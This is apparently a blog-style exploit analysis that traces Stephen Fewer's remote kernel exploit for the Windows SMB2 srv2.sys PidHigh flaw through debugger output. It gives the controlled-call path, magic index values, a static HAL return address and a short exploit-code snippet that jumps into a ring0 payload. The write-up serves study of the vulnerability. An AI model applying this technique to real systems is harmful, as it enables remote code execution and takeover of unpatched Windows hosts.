10.18
Hi buddies This is Snake again. SMB2 flaw was a big mistake for Microsoft ( just take look at Laurent Gaffié fuzzer ! ) and in this post i will discuss how exploit this vulnerability.my informations and exploitation guide is base on Stephen Fewer first exploit ( i will discuss second exploit known as “351 Packets from the Trampoline” in another post ) . before we start , it is better to know some basic information about smb protocol .
What is SMB ?
from Wikipedia : ”In computer networking, Server Message Block (SMB) operates as an application-layer network protocol mainly used to provide shared access to files, printers, serial ports, and miscellaneous communications between nodes on a network. It also provides an authenticated Inter-process communication mechanism. Most usage of SMB involves computers running Microsoft Windows, where it is often known as ‘Microsoft Windows Network’ ” and smb2 , “Microsoft introduced a new version of the Server Message Block (SMB) protocol (SMB 2.0 or SMB2) with Windows Vista in 2006. SMB2 reduces the ‘chattiness’ of the protocol by reducing the number of commands and subcommands from over a hundred to just nineteen. It has mechanisms for pipelining, that is, sending additional requests before the response to a previous request arrives.” in Windows Vista/2008/7 , srv2.sys driver handle smb2 messages . there is vulnerability in that driver when it want to call a function from a function table. lets dig into srv2.sys and finding vulnerability …
Start Point : The Vulnerability
lets start with vulnerability itself , as i said vulnerability occurred in when srv2.sys deriver want handle a specially corrupted message . vulnerable codes are in Smb2ValidateProviderCallback() function . in Smb2ValidateProviderCallback(x)+4DE we have :

we can write it down in simple pseudo code like this :
[...] CallBackFunction = _ValidateRoutines[ NegotiatePacket->PidHight * 4 ]; if ( CallBackFunction == NULL ){ // some codes for recovering saved Security_Cookie // they add automatically by compiler in function epilogue // mov ecx, [ebp+var_4] -> this is Cookie // pop edi // pop esi // xor ecx, ebp -> recovering Cookie // pop ebx // call __security_check_cookie(Saved_Security_Cookie) -> eating cookiereturn ( 0xC0000002 ); } else { return ( (*CallBackFunction)(Argument) ); } [...]
you find the vuln ? as you can see there is parameter ”NegotiatePacket->PidHight”. this is a part of NEGOTIATE PROTOCOL REQUEST PACKET . we can control this field in our packet , so we can control “CallBackFunction” , and if we control “CallBackFunction” we control EIP !
Packet, Header and PID
before triggering the vulnerability we need Packet bullet . SMB Packets are composed of three parts :
- Header
- Parameter Block
- Data Block
in above figure you can see SMB packet layout :

in syntax presentation Header is look like :
SMB_HEADER { PROTOCOL = "\xffSMB" COMMAND = <SMB Command code> STATUS = <Status code> FLAGS = <Old flags> FLAGS2 = <New flags> EXTRA = <Sometimes used for additional data> TID = <Tree ID> PID = <Process ID> UID = <User ID> MID = <Multiplex ID> [...] }
The first four bytes are the protocol identifier string , which always are “\xffSMB” ( \xfe in smb2 ). next filed is COMMAND filed. COMMAND filed is very key factor in smb messages and also in exploitation ( correct command lead us to vulnerable codes ) .as i mentioned before , for diving into vulnerable code wen need to send an NEGOTIATE PROTOCOL REQUEST PACKET . lets take look at NPR Packet :
NEGOTIATE_PROTOCOL_REQUEST { SMB_HEADER { PROTOCOL = "\xffSMB" COMMAND = SMB_COM_NEGOTIATE (0x72) STATUS { ErrorClass ErrorCode } FLAGS FLAGS2 EXTRA { PidHigh Signature } TID PID UID MID } [...]
in normal manner PidHight call one of Fucntions which strored in _ValidateRoutines Function Pointer Table :

but we want to control execution fl0w , so by sending a specially crafted NRP Packet , we lead execution flow to desire place.but there is limitation . because we PidHight is a word type , this means just 2 byte length.biggest number in word types is 0xFFFF , and so we can change EIP to [ _ValidateRoutines Address + ( 0xFF * 4) ] . there is many locations which we can land in , but where is a reliable place ? at all we need to jump to our packet to execute desire codes . lets start debugging :
kd> u 917ac745 srv2!Smb2ValidateProviderCallback+0x4e8: 917ac745 0fb7460c movzx eax,word ptr [esi+0Ch] 917ac749 8b048570227c91 mov eax,dword ptr srv2!ValidateRoutines (917c2270)[eax*4] 917ac750 85c0 test eax,eax 917ac752 7507 jne srv2!Smb2ValidateProviderCallback+0x4fe (917ac75b) 917ac754 b8020000c0 mov eax,0C0000002h 917ac759 eb03 jmp srv2!Smb2ValidateProviderCallback+0x501 (917ac75e) 917ac75b 53 push ebx 917ac75c ffd0 call eax kd> bl 0 e 917ac745 0001 (0001) srv2!Smb2ValidateProviderCallback+0x4e8 1 eu 0001 (0001) (l) 2 e 917b7ea0 0001 (0001) srv2!SrvSnapShotScavengerTimer kd> g Breakpoint 0 hit srv2!Smb2ValidateProviderCallback+0x4e8: 917ac745 0fb7460c movzx eax,word ptr [esi+0Ch]
i put a break point in vulnerable function ( in srv2!Smb2ValidateProviderCallback+0×4e8 ) , then i run Stephan’s Exploit .as you can see , ESI+0c point to PidHight , and ESI itself poit to our packet :
kd> d esi 85317600 ff 53 4d 42 72 00 00 00-00 18 53 c8 17 02 00 e9 .SMBr.....S..... 85317610 58 01 00 00 00 00 00 00-00 00 00 00 00 00 c5 bb X............... 85317620 00 20 02 02 04 0d df ff-04 0d df ff 04 0d df ff . .............. 85317630 04 0d df ff 04 0d df ff-04 0d df ff 04 0d df ff ................ 85317640 04 0d df ff 04 0d df ff-04 0d df ff 04 0d df ff ................ 85317650 04 0d df ff 04 0d df ff-04 0d df ff 04 0d df ff ................ 85317660 04 0d df ff 04 0d df ff-04 0d df ff 04 0d df ff ................ 85317670 04 0d df ff 04 0d df ff-04 0d df ff 04 0d df ff ................
Stephen use 0×0217 as index for ValidateRoutines function table . but why ? i mentioned before , after all we need to jump to our packet for getting code execute and you know we just can control stack by jumping to pop/push instructions. now esp point to 091996d04 , this very far from our packet address ( 0×85317600 ) so poping items from stack is not good idea ! but how ESI got a pointer to our packet ? maybe it loaded from stack to ESI ?! lets search stack for Packet Pointers :
kd> s -d 0x91996d04 L?0x91996d04+50 0x85317600 91996d1c 85317600 8518b1a8 84eb7568 8713b808 .v1.....hu......
yow , i found one ! it located at 0x91996d1c . but wat we can do with this pointer ? jumping to 6 pop and then ret ? or add esp,18/ret ? can we find those instructions ? i think the answer is no ! but what we can do ? Stephen use 0×0217 as index, now EAX point to SrvSnapShotScavengerTimer function. let see what have there : 
little function . what is so important in this function ? if you look carefully you see RET 0×10 instruction at the end of function! SrvSnapShotScavengerTimer function called with Stdcall calling convention , this means stack clean up is on Callee not Caller . now we have 4 argument ( 16 byte ) and so RET 10h clean argument up from stack. but why we do this ? lets take look at end of Smb2ValidateProviderCallback :
pop edi pop esi xor ecx, ebp pop ebx call @__security_check_cookie@4 ; __security_check_cookie(x) leave retn 4
if you remember , our packet pointer was in esp+18 , so by ret 10h our pointer move ( not really MOVE !!! ) to esp+4 ! look :
kd> dd esp 91996d18 84eb746c 85317600 8518b1a8 84eb7568 91996d28 8713b808 84eb7408 917c4fc4 00000000 91996d38 00e5448c 91996d50 917c4a77 8518b008 91996d48 86e9aee0 8518b008 91996d7c 917c319f 91996d58 8518b008 00000000 8713b808 00000000 91996d68 00000000 00000000 91996d80 00000001 91996d78 00000001 91996dc0 819eda1c 00000000 91996d88 7426f33a 00000000 00000000 00000000
so after we return from SrvSnapShotScavengerTimer and at the end of Smb2ValidateProviderCallback , EDI receive 084eb746c and after that , by pop esi , ESI will grab 0x85317600 ! but why we do this ? becuse we need esi as pointer to our controllable area . you will find out it further . now lets take lock at call stack , where we return after Smb2ValidateProviderCallback is srv2!SrvProcessPacket+0×4b :

EAX is zero :
kd> r eax=00000000 ebx=8515c778 ecx=91b8b96a edx=00000000 esi=85211bf8 edi=85217444 eip=91b8da77 esp=88561d48 ebp=88561d50 iopl=0 nv up ei pl zr na pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000246
so we jump to loc_91E78A99 , result of comparing EAX with 0×103 is jump to srv2!SrvProcessPacket+74 . in this basic block EAX compared with EDI and because EDI has non-zero value , we jump to loc_91E78AA9 .after a few instructions , we land here :

ESI still point to our packet , because there wasn’t any instruction which change ESI value . after ESI pushed on the stack srv2!SrvProcCompleteRequest function called.this function is key for getting code execute ! a little cheat show you this key :

you found that :-” . at the first of this function we have :

after some repetitious instructions :
mov esi, dword ptr [ebp+NewIrql] cmp byte ptr [esi+0C8h], 0 jnz short loc_91E78AE7
NewIrql is 3rd parameter from stack , you remember ? that was a push esi ! after that we have compare instruction . if esi+0c8 wasn’t zero we jump to loc_91E78AE7 . loc_91E78AE7 will direct us to fully controllable “call eax” .if i don’t understand why Stephen doesn’t put zero at esi+0c8 and make his job harder by second call to srv2!SrvProcCompleteRequest to get “call eax” ,continue reading , i will show you his l33t magic . so as i said , esi+0c8 point to a zero value and then we are here :

again ESI pushed on the stack as function argument , so we have controllable area in SrvConsumeDataAndComplete function too .

there isn’t any important thing in SrvConsumeDataAndComplete , just if you look carefully will see we have our controllable after SrvConsumeDataAndComplete2 called , because of “mov eax, [ebp+NewIrql]” and then ”push eax” instructions. there is second call to SrvProcCompleteRequest function in SrvConsumeDataAndComplete2 .

but if we want this , we have to change execution flow to the basic block which call SrvProcCompleteRequest.red windows lead us to SrvProcCompleteRequest call .

lets see SrvConsumeDataAndComplete2 :

after function prologue , we have “cmp dword ptr [esi+150h],ebx” , ESI+150 point to 0×41414141 . so jz never jump to loc_91E796B5 . in “mov eax, [esi+14Ch]” , 0×3FFFFFB4 load in EAX ( this is Stephen Magic Index ). after that becuse EAX is not zero ( cmp eax, 0FFFFFFFFh ) , we jump to red line pointed block.i this block we have to interesting instructions :
mov ebx, [esi+128h] mov edi, [esi+12Ch]
both esi+128 and esi+12c of our packet point to 0xFFFFFFFF . this values will further use in sbb instruction :
sbb ebx, edi mov [ebp+var_4], ebx js short loc_91E79683
now , because both ebx and edi are unsigned and subtract result too, Sign Flag will be zero and js instruction direct us to red line pointed of below figure :

jg instruction execute if ZF = 0 and SF=OF . if look at Flag registers you see ZF = SF = OF = 0 , so jg execute and we jump to loc_91E79668 .after Xor we rech to loc_91E7966A block. after first sub instruction in this block we have “mov ecx, [ebp+NewIrql]” . do you remeber Magic Index ? me put Magic Index in ebp+NewIrql , so now Magic Index load into ECX. after some instructions we jump short to loc_91E79685 block .in this block , Magic Index load into EAX . Magic Index is make the result of eax*4+130h , zero ! so “lea eax, [esi+eax*4+130h]” is equl to “lea eax, [esi+0]” . now eax point to our packet . after that we have “inc dword ptr [eax]” . THIS IS BIGGEST HAXOR EDIT THAT EVER I SEE ! if look carefully at smb packet Header you see something like “424d53ff” . this hex numbers assembel to “CALL DWORD PTR SS:[EBP+ECX*2+42]” but by Stephan’s l33t magic , inc [eax] make smb header like “424d5400″ and this assemble to ”add byte ptr [ebp+ecx*2+42h],dl” . after that controllable “CALL EAX” we want to jump to our packet and if first instruction of packet assemble to “CALL DWORD PTR SS:[EBP+ECX*2+42]” we call unknown function and a nice AV ! but Stephen’s l33t magic makes things right
. “or” instruction is not so important and after that we jump to loc_91E79698 :

there isn’t any important thing in loc_91E79698 block , we skip this block and go to loc_91E796B5 . here we have little tricky address. look at this instructions :
mov ecx, [esi+3Ch] mov eax, [ecx+18h]
esi+3c most point to a readble place , becuse at nex intruction ecx+18 read value from preview loaded address . Stephen take 0xffdf0d1c . so 0xffdf0d1c load into ecx by first instruction and at second instruction ecx+18 = 0×0000000 , a zero readable place ! then we have “cmp eax, ebx” , eax is zero becuase of “mov eax, [ecx+18h]” instruction and ebx is also zero because of xor instruction in loc_91E79668 block.so jge instruction execute and we jump to loc_91E7971F block :

we want jnz intruction direct us to red line pointet block , so we need both ecx and eax being zero ! so we most put zero at esi+0A0h and esi+9Ch . Stephen do thing right , after that instructions :
kd> r eax=00000000 ebx=00000000 ecx=00000000 edx=000017f3 esi=85211bf8 edi=ffffffff eip=91b8e72b esp=88561cfc ebp=88561d10 iopl=0 nv up ei pl zr na pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000246 srv2!SrvConsumeDataAndComplete2+0x11a: 91b8e72b 3bc8 cmp ecx,eax
now we are here :

here is a another haxor edit ! i don’t know how Stephen found this great function !?! really really awesome work Stephen ! if you lock carefully at “mov byte ptr [esi+0C8h], 1″ instruction , you will remember a important CMP instruction . let me help you ! lets jump backward to SrvProcCompleteRequest function . at firs of SrvProcCompleteRequest function we have :
cmp byte ptr [esi+0C8h], 0 jnz short loc_91E78AE7
if this compare lead us to loc_91E78AE7 block we can reach at fully controllable EAX , so if esi+0c8 be zero we loos code execute . but with with “mov byte ptr [esi+0C8h], 1″ we can reach at desire place ! really awesome work and function selection ! now after that haxor Smb Header edit , we set esi+0C8h by one and make code execution happen . lets go further in loc_91E79968 :

this is second call to SrvProcCompleteRequest . so lets go :

we are here after cmp instruction make”jnz short loc_91E78AE7″ happen . in loc_91E78AE7 block esi+0A8h most be Zero to let jz instruction execute.after jumping into loc_91E78B1D block , ebp+arg_8 compared with zero ! now ebp+arg_8 value is 0×00000001 .we make this also by l33t haxor edit , you remember that ? no ? read again carefully ! when we jump to loc_91E78C50 block , edi is zero becuse of xor intruction in loc_91E78AE7 block, so we need non-zero value in esi+30h. if jz don’t execute , we jump here :

in first block we have no important thing , just some address most be readable and it is better that esi+0E0h point to a Zero value ( this make way near ) . now because esi+0E0h point to zero we jump into loc_91E78B80 block . there nothing also . so we go to this block :

we are so close to the end of story . we put Return Address at esi+168h and then BOOOM!!! in the next block our fully controllable return address from Packet+ 0×168 will call ! Stephen do the l33t job here again . what is a reliable return address ? jumping directly to shellcode in our packet ? no this not the answer ! if do this and using hardcode address , our exploit maybe work just one time ! because ASRL,Reboot and many other thing cause addresses change ! Stephen find 0xFFD00D09 as Return address . this address is from Kernell HAL memory and there is no ASRL ! so this address is alway stable ! but this address point to what ? lets find out :
kd> p srv2!SrvProcCompleteRequest+0xd2: 91b8db91 ffd0 call eax kd> u ffd00d09 ffd00d09 5e pop esi ffd00d0a c3 ret ffd00d0b 7c58 jl ffd00d65 ffd00d0d 0fb75102 movzx edx,word ptr [ecx+2] ffd00d11 0fb77002 movzx esi,word ptr [eax+2] ffd00d15 663bd6 cmp dx,si ffd00d18 7fed jg ffd00d07 ffd00d1a 7c49 jl ffd00d65
“pop esi,ret ” ? yes . lets look at stack :
kd> p Breakpoint 6 hit ffd00d09 5e pop esi kd> p ffd00d0a c3 ret kd> dd esp 88561cd0 85211bf8 ffffffff 00000000 85211bf8 88561ce0 00000000 00000000 88561d10 91b8e96f 88561cf0 85211bf8 00000000 00000001 85217444 88561d00 85211bf8 8515c778 ffdf0d04 000008a4 88561d10 88561d1c 91b8e997 3fffffb4 88561d34 88561d20 91b8dae2 85211bf8 85211bf8 91b8b901 88561d30 91b8b901 88561d50 91b8dab4 85211bf8 88561d40 00000000 91b8b901 8711bac0 8515c5d8
Yes , this is pointer to our packet ! we jump back to our packet , look at esi before this pop occurred :
kd> dd esi 85211bf8 424d5400 00000072 c8531800 e9000217 85211c08 00000158 00000000 00000000 69890000 85211c18 02022000 ffdf0d04 ffdf0d04 ffdf0d04 85211c28 ffdf0d04 ffdf0d04 ffdf0d04 ffdf0d04 85211c38 00000000 00000000 91b71c1f 85211bf8 85211c48 91b7157a 00000000 ffdf0d04 ffdf0d04 85211c58 ffdf0d04 ffdf0d04 ffdf0d04 ffdf0d04 85211c68 ffdf0d04 ffdf0d04 ffdf0d04 ffdf0d04
very nice jump ! lets execute shellcode :
kd> bp 85211bf8 kd> u 85211bf8 85211bf8 00544d42 add byte ptr [ebp+ecx*2+42h],dl 85211bfc 7200 jb 85211bfe 85211bfe 0000 add byte ptr [eax],al 85211c00 0018 add byte ptr [eax],bl 85211c02 53 push ebx 85211c03 c8170200 enter 217h,0 85211c07 e958010000 jmp 85211d64 85211c0c 0000 add byte ptr [eax],al
“jmp 85211d64″ instruction is value of Signature1 field in packet , here is exploit code :
packet['Payload']['SMB'].v['Flags1'] = 0x18 packet['Payload']['SMB'].v['Flags2'] = 0xC853 packet['Payload']['SMB'].v['ProcessIDHigh'] = target['ProcessIDHigh'] packet['Payload']['SMB'].v['Signature1'] = 0x0158E900 # "JMP DWORD 0x15D" ; jump into our ring0 payload. packet['Payload']['SMB'].v['Signature2'] = 0x00000000 # ... packet['Payload']['SMB'].v['MultiplexID'] = rand( 0x10000 )
now we jump directly to ring0 shellcode and after that rin3 shellcode . go :
kd> g Break instruction exception - code 80000003 (first chance) SharedUserData+0x4af: 001b:7ffe04af cc int 3
i use trap-debugger shellcode so int3 instruction is my ring3 shellcode and you can see it executed gracefully . last note is you most put shellcode in the suitable offset from you packet , because there was some instructions that changed yor packet data and if shellcode located in those offsets …. . have nice exploitation – snake.
[...] Full Detailed article about Windows Smb2 Exploit: SMB2 Exploitation Guide for Housekeepers & Dummies ! [...]